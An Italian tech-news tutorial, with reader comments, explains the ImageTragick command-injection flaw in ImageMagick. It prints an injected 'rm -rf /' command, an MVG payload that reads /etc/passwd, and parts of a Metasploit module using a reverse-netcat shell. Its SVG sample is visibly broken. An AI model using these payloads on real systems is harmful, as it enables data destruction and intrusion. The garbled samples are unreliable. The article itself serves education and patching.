PI Debug/ ImageMagick, dalla foto al comando

Un errore nel software di conversione della celebre suite innesca l'esecuzione di un comando che realizza un'immagine SVG malevola. E modificando l'estensione, il file pu˛ essere inviato anche sui server

Come si riconosce un tipo di file? Una volta si usava esclusivamente l'estensione:.txt,.bmp, ecc. Il meccanismo poteva funzionare perché i tipi di file esistenti non erano poi tanti. Oggi come oggi è un sistema inefficace, soprattutto quando si tratta di immagini: esistono talmente tanti formati diversi che la sola estensione del file non è sufficiente a garantire la sua natura, ed è facile che qualcuno possa erroneamente scrivere un'estensione sbagliata. Per identificare in modo inequivocabile un tipo di file si può piuttosto utilizzare il suo magic number. Il "numero magico" è una sequenza di byte che si trova all'inizio di ogni file e che dipende dal formato in cui è stato scritto. Ad esempio, i file tutti.png iniziano con i byte esadecimali 89 50 4E 47 0D 0A 1A 0A. I file JPEG, invece, iniziano con gli esadecimali FF D8. Questo sistema è decisamente valido per un programma, che in questo modo può sapere immediatamente come vada trattato un certo file, ma può generare qualche confusione per gli utenti. ╚ infatti possibile avere dei file con estensione errata, che vengono dunque confusi per qualcos'altro. Una decina di anni fa, sui sistemi Windows, vi fu una notevole quantità di malware realizzati in questo modo: i pirati scrivevano un programma malevolo e poi cambiavano la sua estensioni in.jpg invece che.exe. La finta immagine veniva poi inserita come allegato in un messaggio e-mail e chi la riceveva veniva ingannato dalla sua estensione credendo si trattasse di un'immagine. E bastava cliccare sul file per avviare il programma.


Con un visualizzatore esadecimale si vede che il file non è un PNG ma un SVG

E su GNU/Linux?
Su GNU/Linux non ci sono mai stati casi eclatanti di malware realizzati tramite false immagini che in realtà contengono eseguibili. Anche perché in questo sistema operativo un programma, per essere eseguibile, deve avere il permesso di esecuzione (che di solito di concede con il comando chmod +x), e quindi un eventuale file malevolo non può comunque essere eseguito senza l'esplicito consenso dell'utente. Esistono però delle possibilità per aggirare questa limitazione: possibilità che ai pirati non sfuggono certamente. Ad esempio, si può trovare un programma che gestisce in modo non corretto (o almeno ambiguo) i file, sfruttandolo per arrivare all'esecuzione di un programma. [Qualche mese fa[http://punto-informatico.it/4316842/PI/News/imagemagick-rischio-sicurezza-immagini-sul-web.aspx]] si è scoperto che un programma vulnerabile è [ImageMagick[http://www.imagemagick.org/script/index.php]]: famosa suite di manipolazione automatica delle immagini che ogni utente ha usato almeno una volta sul proprio PC ([Windows, Mac o Linux[http://www.imagemagick.org/script/binary-releases.php]] che sia). Il programma convert, il principale della suite, può utilizzare dei "delegati", ovvero delle librerie e dei programmi esterni per manipolare le immagini. Il lancio di un programma esterno avviene tramite la chiamata system(); di C++. Ovviamente questo non avviene sempre, ma solo nei casi in cui viene richiesta la gestione di un tipo di file particolare. Ad esempio, immaginiamo un file SVG che sia stato rinominato come PNG. Quando l'utente lo vede, crede che si tratti di un normale file PNG e non si fa problemi a darlo in pasto a ImageMagick. Lo stesso vale per un sito Web che permette l'upload di immagini JPG e PNG sul proprio sito: l'upload viene concesso e l'immagine passata a ImageMagick per la conversione in una risoluzione ridotta per l'anteprima. A quel punto, però, il programma convert legge il magic number, si accorge che il file è in realtà un SVG e comincia a leggerlo. Il formato SVG (o anche il formato MVG) permette l'inclusione di altri file all'interno di un'immagine. Per gestire questi file inclusi, convert chiama un altro programma. Ad esempio, se abbiamo incluso il file http://prova.com/gianni.jpg, nell'immagine SVG deve essere incluso il file indicato da quell'indirizzo Web. Quindi, prima di procedere ImageMagick avvia il comando

wget http://prova.com/gianni.jpg

per scaricare il file e incorporarlo nel risultato. Il problema è che ImageMagick non controlla il nome del file: un malintenzionato potrebbe creare un file SVG che include a sua volta un file del tipo

http://prova.com/gianni.jpg | rm -rf /

In questo modo, il programma convert eseguirebbe il comando

wget http://prova.com/gianni.jpg | rm -rf /

che ovviamente, grazie alla pipe, equivale al comando

rm -rf /

il quale, per chi non lo sapesse, cancella l'intero file system. Ciò significa che costruendo un finto file SVG diventa possibile eseguire qualsiasi comando sul sistema operativo, e sfruttando l'incongruenza tra estensione del file e magic number diventa possibile far passare il file malevolo anche attraverso sistemi di controllo semplici come quelli dei siti Web che permettono invio di immagini filtrandoli soltanto sulla base della loro estensione.

Un semplice file SVG come

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
x="0" y="0" height="640px" width="480px"/>
</svg>

potrebbe cancellare il contenuto di un intero PC o di un server se passato a ImageMagick.
Utilizzando una particolare funzione del formato MVG, invece, è possibile leggere file arbitrari dal disco rigido. Per esempio, il file MVG

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

una volta passato al programma convert induce la produzione di un'immagine con l'intero contenuto del file /etc/passwd. Può quindi risultare utile in ambito locale per ottenere informazioni.

Analisi dell'exploit
╚ stato rilasciato un exploit che sfrutta questa vulnerabilità per la suite Metasploit:

class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT

Le prime righe dello script si occupano di definire l'exploit e includere le funzioni necessarie a gestire i formati di file.

def initialize(info = {})
'Targets' => [
['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
],

I target possono essere basati su tre diversi tipi di file: SVG, MVG e MIFF. Nel primo caso il comando che verrà lanciato sarà convert msf.png msf.svg, ovvero la conversione di un file PNG in SVG. Nel secondo caso avremo la conversione di un.svg a.mvg, e nel terzo la conversione di un.svg in.miff.

'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'LHOST' => Rex::Socket.source_address,
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
}
))

Il payload che si vuole utilizzare non è uno shellcode ma un comando di sistema basato su netcat, che verrà iniettato nel file malevolo per ottenere una shell remota.

register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.png'])
])
end

Il file di output sarà msf.png, cioè una immagine PNG.

def exploit
if target.name == 'SVG file'
p = Rex::Text.html_encode(payload.encoded)
else
p = payload.encoded
end

Il suo contenuto, però, viene costruito come un SVG oppure MVG inserendo al suo interno il payload.

file_create(template.sub('echo vulnerable', p))
end
def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]
))
end
end

Il file è creato: ora basta ordinare a ImageMagick di convertirlo e otterremo l'esecuzione del comando netcat. La msfconsole di Metasploit dovrebbe fornirci automaticamente un terminale.

La soluzione al problema
Il bug esiste nelle versioni di ImageMagick precedenti alla 7.0.1. Al momento della scoperta del bug, esistevano già alcune patch che limitavano la possibilità di ricorso a programmi esterni, ma non risolvevano del tutto il problema. Alla pubblicazione dei primi exploit, gli autori di ImageMagick hanno provveduto a correggere il codice ufficiale del programma convert per filtrare il percorso dei file inclusi e impedire che possano essere iniettati dei comandi di sistema. Tutte le principali distro GNU/Linux hanno provveduto a inserire la nuova versione come aggiornamento di sicurezza: naturalmente, è importante aggiornare la propria distro soprattutto se si tratta di un server, per evitare possibili attacchi da remoto, oppure se si condivide il computer con molte persone che non prestano attenzione ai file che scaricano.


Sul sito Seclists.org si è discusso della vulnerabilità e di come porvi rimedio

AVVERTENZE
Le informazioni contenute in questo articolo sono state pubblicate a scopo puramente didattico, per consentire ai lettori di conoscere e imparare a difendersi dai pericoli a cui sono esposti navigando in Internet o in generale utilizzando applicazioni affette da vulnerabilità.
L'editore e la redazione non si assumono responsabilità alcuna circa l'utilizzo improprio di tali informazioni, che possa avere lo scopo di violare la legge o di arrecare danni a terzi. Per cui, eventuali sanzioni economiche e penali saranno esclusivamente a carico dei trasgressori.

Notizie collegate
11 Commenti alla Notizia PI Debug/ ImageMagick, dalla foto al comando
Ordina
  • Articolo interessante e ben scritto.
    Complimenti.
    non+autenticato
  • argomento troppo vecchio per avere alcuna utilità (tecnica o informativa)
    non+autenticato
  • - Scritto da: Mah
    > argomento troppo vecchio per avere alcuna utilità
    > (tecnica o
    > informativa)

    Vecchio o no, è comunque assai interessante anche per molti di noi, guarda caso sia dal punto di vista tecnico che informativo: non tutti sono aggiornati come te, e mi piacerebbe proprio sapere quanti, anche di noi, conoscevano il magic number.

    Da Wiki;
    Sebbene quasi tutti formati di file siano identificati da un magic number, la Microsoft sin dalle prime versioni del suo sistema operativo DOS ha deciso di adottare un nuovo identificativo: l'estensione. Ancora oggi, i sistemi operativi Microsoft non utilizzano il magic number per dedurre il formato di appartenenza di un determinato file, ma appunto le estensioni. I magic number possono comunque essere utili per definirne la versione.

    E poi ci meravigliamo se persone anche molto attente magari con S.O. aggiornatissimo prendono dei virus cliccando su files con falsa estensione innocua e contenuto malevolo...
    Se proprio le piaceva tanto affidarsi alle estensioni, poteva almeno predisporre un controllo di congruenza ed un'eventuale possibilità di forzatura dell'extention con valore corretto.

    Brava Microsoft, complimenti!
    .
    -----------------------------------------------------------
    Modificato dall' autore il 19 ottobre 2016 00.45
    -----------------------------------------------------------
  • No. Questo è un articolo vecchio e inutile.
    E' stato pubblicato perché è stato preso (copy&paste) da qualche parte col solo scopo di aumentare il numero di articoli su PI e quindi il numero di "click" e impressions sui banner (per chi non usa Adblock o similari). Probabilmente sarà un articolo che era stato scritto per un altro sito di Edizioni Master che è stato ripubblicato in modo del tutto random.

    Punto Informatico stesso ai primi di maggio (praticamente sei mesi fà) riportava la notizia quando era "fresca" http://punto-informatico.it/4316842/PI/News/imagem... con tanto di link in quell'articolo a https://imagetragick.com/ che contiene tutti i dati tecnici ACCURATI ecc... Se ci fai caso sul sito di imagetragick trovi il codice corretto:
    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'label:@/etc/passwd'
    pop graphic-context

    mentre nell'articolo questo il codice è storpiato (errore di copia/incolla...magari nell'articolo originale era giusto)
    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'label:@...c/passwd'
    pop graphic-context

    Anche tutto il codice con "wget" è sbagliato (nel copia/incolla si saranno persi i doppi apici ecc). Confronta con gli esempi originali (quelli giusti) che sennò impari cose sbagliate.
    non+autenticato
  • - Scritto da: rockroll
    > - Scritto da: Mah
    > > argomento troppo vecchio per avere alcuna
    > utilità
    > > (tecnica o
    > > informativa)
    >
    > Vecchio o no, è comunque assai interessante anche
    > per molti di noi, guarda caso sia dal punto di
    > vista tecnico che informativo: non tutti sono
    > aggiornati come te, e mi piacerebbe proprio
    > sapere quanti, anche di noi, conoscevano il
    > magic
    > number
    .

    Chiunque arriva dal mondo un*x, visto che DA SEMPRE sui sistemi operativi di una certa serieta', per capire che cosa contiene un file non si guarda mica l'estensione come fanno i giocattoli, ma si guarda il contesto.

    > Da Wiki;
    > Sebbene quasi tutti formati di file siano
    > identificati da un magic number, la Microsoft sin
    > dalle prime versioni del suo sistema operativo
    > DOS ha deciso di adottare un nuovo
    > identificativo: l'estensione. Ancora oggi, i
    > sistemi operativi Microsoft non utilizzano il
    > magic number per dedurre il formato di
    > appartenenza di un determinato file, ma appunto
    > le estensioni. I magic number possono comunque
    > essere utili per definirne la versione.


    Ecco, appunto: continuate a mangiare il cibo delle mosche.

    > E poi ci meravigliamo se persone anche molto
    > attente magari con S.O. aggiornatissimo prendono
    > dei virus cliccando su files con falsa estensione
    > innocua e contenuto malevolo...

    Se hai windows non sei molto attento.

    > Se proprio le piaceva tanto affidarsi alle
    > estensioni, poteva almeno predisporre un
    > controllo di congruenza ed un'eventuale
    > possibilità di forzatura dell'extention con
    > valore corretto.

    E poi dover prevedere messaggi di errore che mandano in pappa l'utente?
    Giammai!
    Meglio virus e bsod.


    > Brava Microsoft, complimenti!
    > .
  • - Scritto da: rockroll

    > Da Wiki;
    > Sebbene quasi tutti formati di file siano
    > identificati da un magic number, la Microsoft sin
    > dalle prime versioni del suo sistema operativo
    > DOS ha deciso di adottare un nuovo
    > identificativo: l'estensione. Ancora oggi, i
    > sistemi operativi Microsoft non utilizzano il
    > magic number per dedurre il formato di
    > appartenenza di un determinato file, ma appunto
    > le estensioni. I magic number possono comunque
    > essere utili per definirne la versione.


    Non solo sono solo i sistemi di Microsoft a fare scioccamente affidamento sull'estensione, sono anche i soli a mascherarla per default.

    La descrizione dell'attacco basato su eseguibili inviati come allegati di posta contenuta nell'articolo è sbagliata: la tecnica prevede infatti di creare degli eseguibili con estensione, ad esempio, .jpg.exe, AGGIUNGENDO la seconda estensione e contando sul fatto che il sistema operativo la nasconde all'utente. Un programma con estensione .jpg non viene infatti eseguito.

    Invece, quelli che vengono eseguiti sono i file .scr: è l'estensione degli screen saver, che generalmente sono programmi e quindi sono mandati in esecuzione. Anche questa tecnica è stata pesantemente utilizzata in passato, rinominando semplicemente gli eseguibili o aggiungendo l'estensione .scr ad un nome di immagine per aggirare eventuali blocchi dei .exe.
  • - Scritto da: ZLoneW
    > - Scritto da: rockroll
    >
    > > Da Wiki;
    > > Sebbene quasi tutti formati di file siano
    > > identificati da un magic number, la Microsoft
    > sin
    > > dalle prime versioni del suo sistema operativo
    > > DOS ha deciso di adottare un nuovo
    > > identificativo: l'estensione. Ancora oggi, i
    > > sistemi operativi Microsoft non utilizzano il
    > > magic number per dedurre il formato di
    > > appartenenza di un determinato file, ma appunto
    > > le estensioni. I magic number possono comunque
    > > essere utili per definirne la versione.

    >
    > Non solo sono solo i sistemi di Microsoft a fare
    > scioccamente affidamento sull'estensione, sono
    > anche i soli a mascherarla per
    > default.
    >
    > La descrizione dell'attacco basato su eseguibili
    > inviati come allegati di posta contenuta
    > nell'articolo è sbagliata: la tecnica prevede
    > infatti di creare degli eseguibili con
    > estensione, ad esempio, .jpg.exe, AGGIUNGENDO la
    > seconda estensione e contando sul fatto che il
    > sistema operativo la nasconde all'utente. Un
    > programma con estensione .jpg non viene infatti
    > eseguito.
    ... si generalmente e' vero. tranne quando e' il parser immagini ad essere buggato, ovviamente. Come nel caso di imagemagick

    > Invece, quelli che vengono eseguiti sono i file
    > .scr: è l'estensione degli screen saver, che
    > generalmente sono programmi e quindi sono mandati
    > in esecuzione. Anche questa tecnica è stata
    > pesantemente utilizzata in passato, rinominando
    > semplicemente gli eseguibili o aggiungendo
    > l'estensione .scr ad un nome di immagine per
    > aggirare eventuali blocchi dei
    > .exe.
    gli .scr sono eseguibili a tutti gli effetti... praticamente dei EXE PE32 con l'application title cambiato..... la cosa devastante di M$ e' che ha/avuto tonnellate di estensioni legate a "codice eseguibile" di qualche genere... roba bizzarra che puo' ingannare chiunque... cito tra i piu' famosi .. i file .HTA , .WSH, .MHT ... e come dimenticare il mitico ".xxx.PIF" ..
    non+autenticato
  • - Scritto da: bubba
    > - Scritto da: ZLoneW
    > > - Scritto da: rockroll
    > >
    > > > Da Wiki;
    > > > Sebbene quasi tutti formati di file siano
    > > > identificati da un magic number, la Microsoft
    > > sin
    > > > dalle prime versioni del suo sistema operativo
    > > > DOS ha deciso di adottare un nuovo
    > > > identificativo: l'estensione. Ancora oggi, i
    > > > sistemi operativi Microsoft non utilizzano il
    > > > magic number per dedurre il formato di
    > > > appartenenza di un determinato file, ma
    > appunto
    > > > le estensioni. I magic number possono comunque
    > > > essere utili per definirne la versione.

    > >
    > > Non solo sono solo i sistemi di Microsoft a fare
    > > scioccamente affidamento sull'estensione, sono
    > > anche i soli a mascherarla per
    > > default.
    > >
    > > La descrizione dell'attacco basato su eseguibili
    > > inviati come allegati di posta contenuta
    > > nell'articolo è sbagliata: la tecnica prevede
    > > infatti di creare degli eseguibili con
    > > estensione, ad esempio, .jpg.exe, AGGIUNGENDO la
    > > seconda estensione e contando sul fatto che il
    > > sistema operativo la nasconde all'utente. Un
    > > programma con estensione .jpg non viene infatti
    > > eseguito.
    > ... si generalmente e' vero. tranne quando e' il
    > parser immagini ad essere buggato, ovviamente.
    > Come nel caso di
    > imagemagick
    >
    > > Invece, quelli che vengono eseguiti sono i file
    > > .scr: è l'estensione degli screen saver, che
    > > generalmente sono programmi e quindi sono
    > mandati
    > > in esecuzione. Anche questa tecnica è stata
    > > pesantemente utilizzata in passato, rinominando
    > > semplicemente gli eseguibili o aggiungendo
    > > l'estensione .scr ad un nome di immagine per
    > > aggirare eventuali blocchi dei
    > > .exe.
    > gli .scr sono eseguibili a tutti gli effetti...
    > praticamente dei EXE PE32 con l'application title
    > cambiato..... la cosa devastante di M$ e' che
    > ha/avuto tonnellate di estensioni legate a
    > "codice eseguibile" di qualche genere... roba
    > bizzarra che puo' ingannare chiunque... cito tra
    > i piu' famosi .. i file .HTA , .WSH, .MHT ... e
    > come dimenticare il mitico ".xxx.PIF"
    > ..

    Non per niente ci sono meno virus nella fogna di Calcutta che in winsozz.

    Winsozz e' vulnerabile by design!
  • - Scritto da: panda rossa
    > - Scritto da: bubba
    (cut)
    > > cambiato..... la cosa devastante di M$ e' che
    > > ha/avuto tonnellate di estensioni legate a
    > > "codice eseguibile" di qualche genere... roba
    > > bizzarra che puo' ingannare chiunque... cito
    > tra
    > > i piu' famosi .. i file .HTA , .WSH, .MHT
    > ...
    > e
    > > come dimenticare il mitico ".xxx.PIF"
    > > ..
    >
    > Non per niente ci sono meno virus nella fogna di
    > Calcutta che in
    > winsozz.
    >
    > Winsozz e' vulnerabile by design!
    CERTAMENTE e' anche per quel motivo... windoze (+ i sw M$ a partire da office)e' follia.Con la lingua fuori Infatti ci avevano anche pensato di fare un giocattolo ex-novo (Singularity)...
    poi, giustamente, sticazzi. troppa fatica, win vende lo stessoCon la lingua fuori
    non+autenticato
  • Utile per me perche' non lo sapevo e ho due pagina esposte.

    Senza bisogno di mettere l'ultima versione, e' sufficiente aggiungere alcune righe sul file /etc/imagemagick/policy.xml che inibiscono il processo alcune formati interessati all'exploit, ma se fate upgrade periodico con aptitude o quello che e' nel vostro sistema, il vostro file e' gia' aggiornato e non c'e' bisogno di intervenire.

    comunque "convert -list policy"

    e guardate se sono presenti i termini ephemeral, https, mvg
    non+autenticato
  • Grazie, ce ne vorrebbero di piu' di questo tipo.
    non+autenticato